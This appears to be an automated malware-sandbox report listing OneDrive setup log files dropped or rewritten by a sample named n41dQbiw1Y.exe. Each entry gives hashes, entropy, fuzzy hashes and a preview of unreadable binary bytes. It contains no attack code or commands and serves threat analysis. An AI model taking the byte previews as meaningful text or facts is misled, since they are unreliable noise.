Preview:	1.0./..fE....G....o....{...'V...,x...F.@)..._..E...j.\|-{].i..Zb.."pQ.<2..3A.\..p\.z. ....k.&.]...1.p.9..ER'5`"..p.?)..%.i..?........g.?\|..... M.....d..g...M.......\|R.r...>...w...1...Iz...w`..W,...j?=.rOK..(...b.<J'..!..{....1.(F..n..>jx.....O..9lh.l......B......1`.ky.E.)...p..}.Q.,.D.%I.W....6.S..]...4....p..6..=Z.....JZ.I+..D...]..q;.D.(h].[.....\....%l..["..L..0..W...j.W..C.........}.!..}6P.i.".\....Q.&z..~..J..9T.....Gr.....B......9.o&.I...V...Fl........3...2Xj..?\|%...Vh.\.f.D8...l..2........r./....M.kYC.........[.I.L...@..w..y...../1.>.!...w.A.N...Q/.^...c}Y..`t4L..,..5../Td~+.......x:Q..U/nW.W7...h...@..WsulG..$.*..:#5$.=b.p..u#.6.jP.G..n....++XLG...{....w6.s/l&...{.v.+..Jt.n......K. ..c.R.A...I....'d/.=.= a....;.....,.UNr..\$.y....:.F..e}..r......a8..J\j.#..S{2.O..+.H4.Oi.>..n..s......$....H.>R.k?..b.2z..A..Z...}^x.......c..1u.4.).....Z.....u4......d.Y........d.D1...}....%........"qK?..I.....c..u7%'.;.(..2;r.ua....S#.f

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\StandaloneUpdate_2023-10-04_084137_4224-6092.log

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.100817154960587
Encrypted:	false
SSDEEP:	192:571tLkuAZ53kEWaCOovPoqnwYA8KN7ljzmOFORa5bqbkq7DtExrC6Yf/:1HraUNxrHBA8KTTAubqbH7cC6Yf
MD5:	9ECBD5B7F71AE7DDF0827C5027EACC7B
SHA1:	3B721B194F1326207335830D351DC2918E98818F
SHA-256:	A263CF3160C43B93EB4B30626B41483D8653741E209D65EB4D0D41AABCA441A6
SHA-512:	AAD0446F0A071F4E03342BE0347C82CF2BD105DD9BA801800C4D10DA6D98D83371EE05F3188BB4F0DFFFB7474A9FF74490A48D468ED584499DD2FB1CB06E108F
Malicious:	false
Preview:	1.0./.....fYWw.K.v.-.Eu.WD..}.h..p=.bX..4,.6. M3Y...ju.....R..i..]K.Ku..B`...{.e^.k..5...].......E.. ...s.Z..%...7...WG...S.ok.........8.\|..c.T.....6.>Z.j.....P....W%.ZN...A9..o)..%.'.t..i..{.d.PV.].n<.......x.^......Sa?k.O..L..@]...IFM..yj.....s.{M..O.x......0.."\| ....{...........8`.m../....N<K.Gl.T.S.e..T.......B....D...uRQ.v..S.'.I...^d.I.l.4....vc.^.hH\|.W.....a>.....6..1........I...\..z..U.K0.{..).DRD).K8.F..2..".........C.q..E....I....'.l.:.F.z..pp..H17....T...A............8.3..e%.....?..P....Y...Vr...9c.......2.m.k.u.cn0.I....&..j.J....'}............H.)K..i.I..2.....d.j.PB....zY.j....~..(7$A}3..n.....?.@...9....w...Y......B.Qyl#Iw...."k..^..77.uO..5....%....y.4h....)0.:mB..Bj.P._..'t....C}..i..y..r.h...^.5..'.m.B.z... ..:.u..?.B'.}....O5B....\k.8& .......e..yI..K(zY..,.'&.YbY.$.`...3......L!.;D..lC$=.&C.......(9..#.6E..... <Z..cM...;...#<g@..':+.uY.O..0.^..^.8........B.{..2..\|p.n.~..u..c..V$...r....7F...<.......Q\.,.&.......

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-2023-10-04.1059.6292.1.aodl

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9661429631526267
Encrypted:	false
SSDEEP:	96:z/DWKhXwerpGCg0HgOcvPE10tlDBqiiKiYXveilll0aY0aVj:z/DWwB7g0YnEsl9qiiBY/TcNPV
MD5:	576568EB732EEF4228E6A7C423F291E1
SHA1:	EA06859E6BD6DB34A4F26F8AB3096DB8D96F72FE
SHA-256:	A4A382DFD0179459048217D88EC0FDADBF3F9D44AD6998A7E341EA18999C850B
SHA-512:	CD487E99666073E07CEE64A8958CC63EB1D5B1EE4B3EC6506936CE6E8DBD814EBA0B71FB9C88E46F1D6F1292F45F1DB81AD114C591840E277C9A17FFBBDEE168
Malicious:	false
Preview:	EBFGO....1.)..i.W0}..e.F_..ST..{A..!..l.-..~d......\|:.r......p.K...@A.[.N<....D.W.....&T.?.X...."...)F...I....k).o.R.....%..".........x.............g...+."..<P.H.[4..0...[...].".\G.&.."..g..2...z.`..'.Z{.@..>\|.{......M.'r....I.f{..,...Q.`%..5moe.i(U....n..g...tO.R..4N..3v.y..]....o7. ).:..k.G{....[W2.")f.s.@.e.?b9....%..;....4.ug.5.5._."'.Z:..@3.....f..{t...c."N~...$3.E`..)6..(C?.<<xr..v..D/{..<.I..D...).&k.}..p.w.}.y!.}a..E7.y.J:%.@. .2.^..z...H...A..5..' E2..F..!.O..Y.@{-.1.q..y........F..S.[..@\|..)."..f.~g.gmt#.p.2>/.WBy`3.$.W.`.;.HK...-.:p...q.P.n..f....E.f..~...h9RY..].Or..v.l88....fY......0.y.>vi..t7J..T.8)0...Wf../...0.F.>F..wU.._.\...G....@..o.R.#.k.&(YH .3Z.@.6=.6.@..$S.sJ.o_.o.\...T.....=T..N4..c.^..<....Ljn.8K...s...)..2...o+..l4t.....O^.G..^....+g*.......O.....l.wS})...@nm.,.}.Bu.9q.D.x.Rf.AU.....kM....I&.G>./....G=....cC......d.....M.BqZb.Wp.)...._..J....(..$.l..F9.!m"...].....>S..!...3j..,.....(...E.~...hd.-e.]....E...T.F.['..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-2023-10-04.1059.6292.1.odl

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.5622058530882785
Encrypted:	false
SSDEEP:	192:++9/iMhaJs93EjB9HNePYWo7ZGpNXF8YA2PMlb4u:+3M13YXHNh7ZG/F8tlb
MD5:	0F7D4963AFC9AD3B5AB4CD2F489CFB6E
SHA1:	1AB3B11D29DAD28EA98D8DEED8C12B6DB1CEE349
SHA-256:	23379BFF6B9A585B68A540BC2A00F6D688555FA3D78498550378DCCE0A11CBC1
SHA-512:	94369AA733EAE105742DA5F64BCC16D9D96E567EC1E999B7FEB9A8F8E0A682457C73E9D15B28B145AE5CF83AA7ABAA80C9B72D5E933ABE48B780257B953258FB
Malicious:	false
Preview:	EBFGO.<..........B........rs...&....b..6....tlQ~`7$.Y.#.T.....5..?d.$.....!... DR}6xc...y.S}e.^._M{..`....a.Qr...y...r.... ..S..7.....S#.....1X..P\'g.n..d...R{....rPy....\6@v9......z@H.......la.....7..\|qS.....?.{..N..N]..3.%U.+.Q..o..BY...J_..;.......x9jx.u6......0q.......$.:.h...,lv.:..K..................?-..i.C.....<j........v...3..UU.[...rP..J.gY.=\....$\|/.d.]!I.8{oeC.7@...2>2c..~..... .h...J.%~.e.y.B..>}..S.....AUpV1...........P.T.D{..."..[.....~.v......#.U....,L.mB.. ..0.d.'.>q.j ".r...O...7z.\w.ope.c....K&...{......)\|.2.....z..G...j....6...Y.r.'.....Q[.....`{~P....9..2p6r.@.Uc.T.qC0)..+.d.&.k...]\..).../..bon.h.2.eJXVA0....w..+.....C1... .~!r..2...EM;O.J.oYjc..e.......c.#.5.......k.c.7...M.YN.F.$..qkK.+o....7T..S.O....%..Q.e\wOR...N.[..9.&.)..nS...r\n.\|..bp...!F.B.m..+c...%..uj.....v....*.6......?1`ieY5d4.w...ePzS..I..fCx.XQ..~6'...,...E.........................%.;!9..D...&..@_=.4.4.y.X.....z,>...S.......]u..H..%.r..z....

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine-2023-10-04.1059.3196.1.aodl

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8653805908737716
Encrypted:	false
SSDEEP:	96:W6ALfBygmTgN0p/RwqxSqN4w5LAegR9lA2n52a2F1zpv:9Wf8BwsRZSqj50f3iU52z1zp
MD5:	33FD7AEAF1719A78B1BFB244E816018E
SHA1:	EB79A80B587354ED478A96925E2AFA13419901E2
SHA-256:	FB828A7CC9C63170CCB29B17C9A9A2E9D0147499A5B18CCFFA87B742F0906900
SHA-512:	78A548F974F777B9C53F2013576EEB65736CF0916D2237D036D36F6738FB67B7C06AF050C2B06294187BCDB34B50BDDA37BDF2EEF697DBDD4E75C18EF2C8072A
Malicious:	false
Preview:	EBFGO!..E.P.......^..U.,....9.&.c.F.(....R..\....N.>.6..P.}.........2. M.W.....u....K.rm.......I'.D.x...i.'.KB.o..3.....6.&...W\.S....]uR~e.sU..G...E.Ea.U.K.Dj....&"...x....e.d.`......fh.......Q..7.9.a.Eq;3$?3.:.....U.1...t.....YcP.?j.`L..9..r..&..f-H.&4..".=.F..N].SV...?.Nv...F...K...Q.Z./dx.....o?.v./...S.d.......LD..c.?......)f......T.N.A.v?..U..cYLg.u.2.U...w..........%..U....2K......._O.QS.Q.O......o..d.x....D..g.c......LFo %....j...7....[.Z...q.8o..9_..\|v....pI....b(R......cV[..o.1Z..L..)"!..X.s.s.~.e.......1..y..._.l......D..HXSQ..#T.....&.,Do......\|..zCE[.........>.P~..8..y.KN...T...KWz_..\|...4.`..$.t.v.....D..[n.g..G.s.5.'..Iv%.^d.e.Q..{..5....E.!.....3..=.....!C..../p!.`..a.C....xt....Bh..)...[.W..fU!...A..(6}./....S.6......v..3.s.........3T..1.E6.X...O.d..L...._o..N.I:C..v...+..eD.<.....x[..O...W..#..b.i.k."..}.X..-.t6Hb^..J....r..m.N.I.4q..&./..s.I...E......{..Jh.k.?3.A&..!..Z.m..km.0../.VTJ3Kxr.-V.v.<".`H...7w+.[..L

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine-2023-10-04.1059.3196.1.odl

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.20519012322171057
Encrypted:	false
SSDEEP:	24:hCf6dnDk5nFv4QNUdjat9GkvBbCVWDP20/bz:h4ynYnFAQ4jat4kvBbCVe2cz
MD5:	921D00FA1A33C46B4FD18C9A9BA5F031
SHA1:	857BA77C0F97A70F0DCF3C1CAE23FC36CB44A539
SHA-256:	1241A78493AC7D3C77D8A0E9F7521D5568BFF611B0F478B886DE01D14A967BDD
SHA-512:	9082A2B214C76A390700FCFC12FCA5332BEE0DF34A9223F284D2A2BFA1FBCC5DCEAB36F443483F5B9A58386B6AFC99ADD4AF8892AB1DCF5FBB1D7C938355A648
Malicious:	false
Preview:	EBFGO....w .cu.........;y.p.7I......N`..{.............._.!...v.6.......9?.....H.g.....!..@.&.......(g...V.&l..9?..E.3.......3.>..xDY..\|..I.....I@-....................=.k..........y.p.zZ..7.H...O.+..Y.M.Y.cM..DF$.I..<wy1...."4 `..-. ..Z.&. ...2...H..QEi.....6.v )^...........h......W(.7_M.`\|.+....c......!.....t.5.....=....z..4... ~M..E.....^E....` ..s........fLJ..b..-.,'%xw...RF0.!.W.~.o..d.L....->.v..#.V.......A.\....k.......8..$.V..;....&.......i.Y 4......i.:\|R...1h.I.}.....g.m...#p.w....$.(....JZ..L......v"...$....o.}.m....W1j.z.. T.a..Qv=..3.=....<'..j.x3^..O......T....3.}..%.:!........9o...{oU.... ..7.`..k.{..6.. !"....}!.Bj.P+q2.M{%.%.n..C.C./G....WI...W~UH".<'~.c.u"y.z..2{.......v.;.....e?2 9u...KT.."...o.c#..ri..I..r.$...<...\p..L.3-ic.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}........................................................................................................................

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine_2023-10-04_105957_c7c-3d4.log

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.452626866022618
Encrypted:	false
SSDEEP:	384:0NV7GwKgq0N4rgAQwivlqKUD2oklBnQ0jWbZxH2zz68OKA4fXqXmiHGe:0DLl5ALs3U6okzQ08sH6l4f6Xmim
MD5:	C7EEF7C9E3F8C27938868B0CF68D0449
SHA1:	1F4F06E8521E616E427C5D9306D25B2E56D6048D
SHA-256:	ACF842C75A73BC1DC3AF1384E6D77F691345099ABC1D861F023217AA0B4A5E04
SHA-512:	C9D23E240B341CD9AC86C938598AA4F85F5AD68D1A9687D8259F71F174A2B8D050B45E7D86287B1C4117634F5D1A5E8D2B3F44FEBDCB2A6F1665FD10CA815ED5
Malicious:	false
Preview:	1.0./...:.[...hu.(.^.k...ja.;.\........2.........Xc.....i..m.Z..>..8o....w..7Fx..l......Md.W.e......%......;..(..0.@;..'..`...Qs.....:.d..u...YN..#.xM.7.U..'...~[............../..IH...=lt..&..xc..y..N.u8OIS...8u.\|.{8O.......{z.#K64..D.:....%.%...........6..h.....r4.j.I.1..L..p...HU./..\4?W..b.......v.CF.%....p<^.F.T{G...X...cM5/...H....u..>..Pc......!..5..1..Lk....O..L..}G.....t...1w....DN`.....y...e`.c.r.."R.~.sL.9......S..../8...W.`...#...)..f.d.e).lDv...&...$8......7..o.n.y.r.K.%....~.5U\....K.l..a.V-.....b..1R....0.:J.~...%....IH.y.3.?1.^.oV0.Gr....5%.c..1.w...5.q.g..8F.....jURl.V...L.u....6..;M...r.#..........W.X.I.]b#......i.-Hy:...Qz.....Z>~...QN.0..I...-n.#..8Z(z...d...e3K"...'..A<....@\|...+z..1.9....4....~.#D./...-...~S...cl@y...%.N....#..H8.4....s..a{..p...f...g.N.A..... ... y=..2....\|5bp.Fd"....Z...k.hu.....+P.e`^7...zY.G....M..g5...!L'..,u+.......cy.!n....lr...F.s.X...w6..6...g\|j...Q.{..H.p+z...=..r.4...>....}.A...'..-

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser-2023-10-04.1059.6636.1.aodl

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.940879824921136
Encrypted:	false
SSDEEP:	192:YGeKndys0+8EmZ8QDZUJhcZjR2MRmO+JV:YGZgK8EmZ8QDeJGXmO+J
MD5:	B4F398AFA983FE0A757F31111D36622D
SHA1:	00E8CD648980A922C44BCAF68E7F13395515D89F
SHA-256:	E007D5132C0F51B12D931022C47DE2EBDA5FE626507F90CBEDF78E165FDC3302
SHA-512:	B7D8DCBB1A9023190A4104F5CED7FC2A5A14C474809925CA9B02471BF8B9F18A33CBA9F391104F48E45EFEFE56521FE757DD6878869B984459A39C9E9693B169
Malicious:	false
Preview:	EBFGO.......r...!.#....C)..?"..,.S....S.......>....3.yB..>._..Y.:.\|.(.y..P.;n"..!.K _My..]C....G.[m.U.......;R./C....".~.~ao.......B<.CN..De...m....{.o....j3..,w..-....+...r..T."_..w].nX.:..R.)uA>.....y.T.Mwg.X..7..<6...I].t.........a..x..ArMQ....).....x...{.>.b.8C.}..7.........aJ5......izy04.....f........-...r@...XL../c.H..>nR.w.K.H..K.;....>N.Rx..5.;.9.<.@.b......_3...GQ_q..2\Q.x....]...u".?\..b..S"..[.Y/..n.....F1../...mc.sT...!...q..n.....15Jf.$.c)sbC.P.......v.N=....K.. .MU..u..l.....v..S.la.........3...1.g0]..l.3#..........k...Z...U[.9.V]c.\...=L2.;.....7..w.+...P.YD.......N6..P....6..?)=..\[...7..........O.Y........Fs....M.........j..............n.;.......$-e.w.{e.J,.8..z?Q.....5.0..?'p....3......-g2e...B.....3.[.....D.j....$._3........Fn"..y........zt..uH.A.........I.I..&_.xe.3....D.?..B.t...I.......). %./.[...J8r.#aS..x..5.Ks....*_..5D{hAH...v.x,.../.....Iy...R3BrB......k7.\.BC."..{K..m...a.l{5.....{x.P....&/.K...

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser-2023-10-04.1059.6636.1.odl

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.20587788852886243
Encrypted:	false
SSDEEP:	24:oq6ff7gIs+HT8mpHqMFfzbGW6/ibxC0Olbbz:j6ff75s+HDpKCfeWnbxCpfz
MD5:	E0639DD6F886E271EF4C0CA2858EB530
SHA1:	F693382F84686ECD599A903B33F4A51D8F9A0CC4
SHA-256:	8AA1B34E7E4DDADB3F4C33DAEFEC21A3A8EA98FED077DA660E004E0400B6A37B
SHA-512:	EEF179A1CD5334F0F4A023CC29B045E3C39FFC124147D88B1F81D0D7D88B87E5A3B2E207A4C964BD8702D7DBD19F3BF065E2D914E8BE774046131383233225BE
Malicious:	false
Preview:	EBFGO......Ra..x.EVU...O.?..!$.k.T.W\|%.:.....C..x..2.....br)_..c.d..Fv...b..rER..J..X....7..&@w.bx._...U...xn.{cbME.'x....YY..X....n..d\=..7@[...<........!.K.5Q.\|r./r..............&..TM./-.C.1z.....7...K...x.6.C.v....._..$.`..W..Q=...AC.......6.Py.....q.Jk^@D...y.........]c;.}"......K+..s.w.M....ri...&=.....>..P.0.=..8b.:.Z......`....#..%.IuL.........~=.9..D...x....*.%C..o.N..eT;Z..].k.fFVP...f,..@...6........{v.!(H...... ....j....T.....`..Q%....r\..TV.......2@.i..^.P.G.LWsaj..+q....x6.'...9...U...-..'^...f....Y.....w#j.N.{J..........T....V..44.P.S.y&?,F....2 '...;[..-._..^...V...-..2t.Q.....tj.>;y.B.6.....=.....w...U.....6#.}.s..<.9..?..n..V?.Jp._.k../F.z.GL.#.-.F....f...y$."1..I...c.ahtX..$>..5cS...an..(.<...0...\..J..,.p.S.3.Z.s.Nrm.[....k.z......I....-U.V[Zmk.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}........................................................................................................................

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser_2023-10-04_105958_19ec-19e8.log

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.8931262329593865
Encrypted:	false
SSDEEP:	768:myl58NeVG6BkYaVGfB9XR5tMiu0hrQ/DPqX:mY58NeVpBkYSGDXztMn06/D
MD5:	B3B3A1882217567E68CDA7B9E99A57C5
SHA1:	DB6879918D4745D9E16FBEB961598434B75B9D38
SHA-256:	E690A7B42F3EEB52FB244888028DE5D2D109D9FD5C82F0CBDC5A26DC0D617331
SHA-512:	AAB2E9C17CE8ABF844DE681F9012C69B467D785D35C0E53C972B6129A68D92E2B5C1848CCD89B7213523E73ED57CC6E51C177A004C055CC7288FE5FFC69DFFF0
Malicious:	false
Preview:	1.0./.....4.{........]F=...XD.......y..u.DC....T.M.\|.......}.....+....M..Q..\|.l."^..v..0H....y......n....../.7.K.a..Z.3....z...........-..q G.f..\|.=j.AW++b.......%.5..i.7y=....j......2Q>.c..v..QVYh.Bc....d5......6.........>........\..m[k....o,.iN...(..h...k.C>h.-W....\.%..v;...J....E...?Y.].Ke.R..u.(.\...{.....`..M.u.@..+./9.l.."V.....+..@=....H..\|...M...:<..H..G.}..+T.c...pQ .....6...2`..M....@.<&.x8H"..=..}.\..........E.SP......l...7..)cY..z&`.........k.t........C......w...S..4.<..8.:^U..$b.%..+$@.$.\.i}hC...._..]...h.....m.....y..1.........5.\....<.....H... .]....8L...D....a.i7QW..%..L<.3xlC.S..f......`..f..L..k.........1]B.Qff.dw.:5.r..b...7..^..O.#b..Imv.g<......W.<VI.-......lc...E".}...,n.5."_e...t..l....`.....@UBRI..<..S...7(Yyt..7...\.0....`8o.......0q..5q.......X..{.s+..'P$!...CM.H.E3.zg.......f.+.}.....$........v%..w..xA..>.....L.-...X.u.........A...+.d.*..m...H....%?#=.....]q.....2..J6.tD..g.........]..HX.>...L

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall_2023-10-04_105950_1894-1898.log

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.412492616102947
Encrypted:	false
SSDEEP:	768:C1AZCuWXXFuXDoNKsf0ReON9A/iXk5wRpim9H:C7uSSD4CQM9A/eJRpim
MD5:	5A68728AE0072DC6D4D72D96F3FC98DB
SHA1:	6D02CCE13A2112C0E36E409E5ECE40C9F3433B18
SHA-256:	7508A3F3A7B344B53290F7CFB2658D296021FC1C2C1181BCE933EA6DFF765B9D
SHA-512:	13A9EC8F9C1FC3F01079CBBE096FC64A855557CAB31AD01E405F538D7A75E7CEC20EC9A57892F6077EBA26B0ABA6C3D40F1AC67B9BB6089D8E1BFA09D36C1857
Malicious:	false
Preview:	1.0./......E......g^........`.....2.\..=..!.j...<....bX. =..$.....1.."I.....g. r..n.e..O..g.....{A'.K.gX...J.....\|V....]X1$L.9i...c.S...!.+6.EAW..`.72B..PA....3...y.9.G.....JZ..&..WU.a(..j.....q..6Z$....'..]...<./.t......X....q....m@..N%..-...........$..>...L...\..pc.Y....`:....6......0.....s."r\|.R...BR9.]...j.%/R.$C:P2.b....LHw.U..M0.-i..H7PS......J'....]C!e@...-........U1>..?..4..G..].O....?....l........L.bdj...z.w.`...E.....#I..zY....i......1o.~.&...0....k..k...A{..J>`2\|...Dj..kp5...?.k.....u.N......v...}.....R..2r<.'.Jm..&A8y.-.........$..pZZ...t..=]G..+Q..f._.T.'........,..l...r]p.C.%...lY..e.>ftNR%.g.....%..m+.[@..G...fU.].y...\2..;....[......p_.....\|U.....zc\|$..~...._U.Sm./...6N3.T...0'tF2'...YS..:....3g.=P.O....}8.....>4.'./.........n...E.._.J~..U.Hs]Y..R.7...r...>.@....[.S`..[...'.L......3'....u.....N..,..!8....\|.?.T.L..3fE{{..{k.Q.F.Tb.m..!.!..J....Fj._=.:x..@....\|.?.#....b...[-..h.P.9...<........zUZ.1....1....-.{.*.......",.G.k~.S...@

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_114942_500-1efc.log

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.556018641374631
Encrypted:	false
SSDEEP:	768:PgTs76c+STl/M+GjOnYoCTE8JyLKN53rNMhI:Z7dEwCTHyyrNMq
MD5:	61D7204290A50B040726157DBB6B7C04
SHA1:	5F0027600EFC01870F82B557304017C21533092F
SHA-256:	E1F1116A078E93A20DBA758A8D822A04B97D90A28527A69C53D14A70C1BC5DD6
SHA-512:	A0A9FF46FACAE377FB6231AD4EBA2155C2A5A2BA6682E38DFEDE6FC0F7DDBD695F3F813B73E51FDC289721C3C10E0904D8E296D19A932FE3EF4D1FD5A7F1A245
Malicious:	false
Preview:	1.0./x....2.u'q....L&_1.^..I..;mJ...f.\|...!.r.I.u.Z..X...T..#.F...73.h...+..R..#.....~.....Q...D_...t0....W\.m.1.........l..'...)]X>..c.r.[...........<h...&Np.@.8g...R?....]....vg......m7.O.......EV..\.@..l..M.V/h...gM.... b@...C;.....T...j...=....}.mUJV~g4$b......_H..;..#8..c.VK[...3\H ..%...Q...e....xWG.Q.H9n.k.n@..>....c....K.9.=.]\|.p..7..V....[(Z[X.....G............ht.LA.F..Z..y+S..^.Y.......g....N..Q.b'.lD..u.=..S. .g.X........xw..f.FN...[.[B.X.g.K9..l.o..T.....v.....* p ..[..9...e....w..Q.5.'..M....1su..:....>.[ii..$.M9.^W.@..M.}.$d..1......i..^H ...e0 ....\8}...h...m.+..jc.M...'.R..[...LV.D]..{......y.\|.....!.Eg...I.Yv.]......_....qXe..PYm..iSQ....N}..\LlX..1....C8...q[..l...p.>,..::.F....FR......H....eZ.....`.~L.t.K. ....E.R...;8l.....l......PD.*...i.....Z.Ii.~ZB'#5.Ch..._....IF..I....z....j +T.'.T...V...U.....>..T..f.i.$........N.m...<.........t..]o!HG....G..M.. {.G.H...+.X.kJg@.i.O...j...B.....2......3W....._.....R..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_115011_3184-4676.log

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.3125354310908688
Encrypted:	false
SSDEEP:	96:gt+KRfNmGmdac8c+BLt+kx9tQWCIFkxgOMLXdkLKSw5og9MqGfyozIOj+TeHjm6r:gTohRHmLlxzQWCI6mkgo4OzljSOjK
MD5:	B6251432F0DBA8100FE2FA022F600632
SHA1:	36AF3C8B64EFDA8A469FE509A36C5808A0EC70C6
SHA-256:	511EFA3AF48B17CD1E90590D7563CE824FAF09BF5BE8AC988971883C5B8F29A3
SHA-512:	792F15B1786A30D2120F90E995C1E4DA93774B055318575611B13C751FB20899DEA3FFE5600DCCF35C328E1E7C67F0C70DA6F0477C0703EC7495136FE39000C8
Malicious:	false
Preview:	1.0./.p........+..;...RI...uS..5e.p..'......nVTLq.k.4.E..I.1..c..>J..vT\|.....././.;d.w.T...yb....E;..]c.....2...W...F.... (........e....k...$t..\|.....n...{.r8.T..<....PJ....9..T..oN.Z.;Y.a$aB4..WkX...8*.b.<.J.o.v........B...O....z......../.yxw/.$...\|..,.B.....Ga.-..l.%U.w..7\..I...T.....t.....0.a.k?MB.....r]Z``T.%...9.(.=.....$.....UD.j.}&......L.!.>.n.D....j.....b....A......5<.........a..l...W...?b.>.../...Q0......7\|L.......-.."..)...N(lX.-:..U2aU.u.Z..2eV@.^......s..es.)Os,.U..k]...0..A.n6#4...=%.`\|=...uy;D.C.G...:4..o..uy..)CL..U.P...OFS...~.L.........vk.Fw3..n.Sm....?6..-l...[.s[m...xn...cD.C".vPtU..........`..#.vy.\.%..:...-....v.8.y.x..oS0j.......A.!..J...D..<....(..T.z.......u..[^...#6......he..........!jd...hkZ......$.{..Dc...7..B.......1.../...G.=.&.k+>.K-...T>P..f(.VE..`]..:......VH.....vB)..{.....43~...}1.i.S]R....g ..... Z..c..a..z?3..%.9..F..vW....mr.}/?.fR....nu..zF.J.i..S.-z...9....3Bwy_.b....Q..v...]..?.?............\|I

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_115204_7008-7012.log

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.5750677146868666
Encrypted:	false
SSDEEP:	48:VKhPTBkEWg975UwHBHhH+I0CsGkFaCxmkggMK8xIh3xGeji1PdU4az:VKpTBJD975RHBHhHBgFapkwtQxd4PC5
MD5:	2ABF7C3DD0584BDAD2ED8D8FFCBA640F
SHA1:	CE2ECD8C4E7C82F80E435C17F55F92B5CA5EBFEE
SHA-256:	7717083A57F5BBB2686CB8B7D613CB2AD1EAD154359BAEDD4DE70A75B63A5B7B
SHA-512:	20B80FA1D6DC65A9CB48F06F4EAF31348C8089AB9A4118E4AA67B597A6C425FF7BCAE90627FD1368CCC5B80392697A70E2F0F406F6DA07DDE02E2249079552E3
Malicious:	false
Preview:	1.0./.$..{...I7.@pE.>......D.o.y..........$.......o...vO(......C.'..7....<.D...#...^.>.N.?A..F..a..t .#.4YD..v.....d..f....c.3..\..I=....Ui...0N.0[....-.#U.a.2p8D.'.d2...awD...L.8.F....F.`.Y.8..i.Fvlzf.........-L....[......Y..v...F.....(@..J.v..S....../...$X..........e%......].......Ao.%}@l.......N....Y....D.=n(......z.xW1Lj\..%.C.5.{3.4.....=2.......{s.J._N..M>)..H.o....P...G\+..y..L...T...c../.ih...{.@..L....0.:..Nm..)Y.....![6y........p............5r9.X[r...w.n....~..V.......!M..x. .VGn..3..u.\|....e.....).F..sU.\U......b.5..B..r@.Y...I......w.l........A......H...o.4.~.N.....c...{.h>@.V......}......u...._D.-...u.M.9.......lv.v.5....l.........g...O.......(.`..Y.o....3@)V.c...h.`.....]&.L.'M(..1.-.........'..i^M...._.h..^j..nS...IHC%.... .5..w..s%G...b...z....R.;..O9hE....T.$.Q..ySNc$..?s.2..8O....t-..m.(.w...4JT......)..6Q.X%.....J..vRa...S....[w..R..)..ye.c.\@5.....-5t....T&@. ...4o.....Z...^..#Ti9xsr{..J....{U>....z.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_115740_6260-6264.log

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.5748289493429626
Encrypted:	false
SSDEEP:	48:hBpcfKZffpez/sP1eeuXto9kbXuyKiKTgIt3Y7Lor2s+48RDa7bOWz:3pLZnpeLWYRdoWX43t3Y7E2D48plu
MD5:	65BE155C7C7C2883D79ABE5F9C1B13D0
SHA1:	E1C5D059DA8749156831F89D1558EBB1B053B254
SHA-256:	8644D820F7CF7DFAE5C904D52A4111E5A31606B9A27070FF0513E3363807B286
SHA-512:	C9764A49C955FF16B4AC187247ADAB8DCFDECB53AA43BF7239FB943FC8C14EE06E3BC6BE41088EF754E3224C4D548303443CFEA649A397D897FE1693D770AED4
Malicious:	false
